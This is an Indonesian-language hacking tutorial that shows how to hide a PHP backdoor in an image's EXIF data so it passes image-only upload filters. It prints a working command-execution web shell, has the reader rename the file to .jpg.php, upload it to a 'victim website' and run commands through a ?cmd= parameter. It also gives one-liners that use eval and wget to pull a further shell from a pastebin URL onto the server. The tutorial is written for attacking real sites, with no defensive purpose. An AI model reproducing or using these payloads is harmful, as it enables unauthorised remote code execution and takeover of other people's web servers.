Cara Menyisipkan Backdoor PHP Ke Dalam Gambar

Halo guys di tutorial kali ini saya akan memberi tutorial menyisipkan backdoor PHP ke dalam gambar.

Mungkin beberapa dari kalian pernah menemukan website dan saat sedang mengupload shell diharuskan image only dan tidak bisa di tamper kan. Berikut tutorial membypass nya dengan menyisipkan backdoor PHP ke dalam gambar.

Bahan - Bahan ( Windows ):

Exif Editor ( Download Disini )
Gambar yang akan di sisipkan

Kode Backdoor PHP :

<style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '<img src="LINK GAMBAR" border=0>';}__halt_compiler();?></h1>

Tips! : LINK GAMBAR isilah dengan url gambar kalian contohnya

<style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '<img src="https://dummyimage.com/1280x510/000/fff.jpg" border=0>';}__halt_compiler();?></h1>

Langkah - Langkah :

Bukalah Exif Editor

Lalu klik Open lalu pilih gambar yang ingin disisipkan Backdoor PHP.

Klik gambar +

Klik Yes.

Selanjutnya Isilah Type sesuai gambar dibawah ini dan juga isilah Value dengan sesuka hati kalian, lalu klik Add.

Setelah itu klik 1 Pending Change

Selanjut nya klik Edit Modification

Masukan lah kode PHP yang ada di atas tadi kedalam New Value lalu klik Save

Lalu Klik Save

Pilih lah tempat penyimpanan untuk gambar yang sudah di inject tadi dan save

Ubahlah extensi gambar tadi menjadi

namagambar.jpg.php

Dan cobalah cek menggunakan notepad ++ apakah sudah terinject.

Dan ternyata sudah terinject/ tersisipkan

Cobalah kalian upload ke website korban dan jika sudah berhasil mengupload akses lah gambar tadi dan coba masukan ?cmd= pada belakang nama gambar contohnya target.com/mastahcyber.jpg.php?cmd= lalu masukan perintah berikut uname -a contohnya ?cmd= uname -a dan jika muncul keterangan server target berarti berhasil seperti gambar dibawah ini.

Selanjutnya cobalah upload shell menggunakan perintah.

echo '<?php eval("?>".file_get_contents("https://pastebin.com/raw/en5tp4kX"));?>' > shell.php

Bisa juga

wget https://pastebin.com/raw/en5tp4kX -O shell.php

Tips! : Yang saya beri warna biru kalian bisa ubah dengan shell yang kalian inginkan dan yang warna kuning itu untuk nama shell nya dan kalian juga bisa mengubahnya.

Cobalah akses shell yang sudah kita upload tadi sesuai nama shell dan letak dir. contohnya target.com/shell.php

Dan shell pun terupload dan kita berhasil membypass nya nah mudah kan.
Sekian sampai jumpa di tutorial berikutnya dan nantikanlah tutorial menarik lainnya.